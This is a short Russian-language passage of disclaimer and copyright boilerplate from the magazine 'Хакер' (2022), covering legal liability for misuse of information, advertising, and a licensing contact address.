мышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция не несет
ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование редакцион‐
ных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2022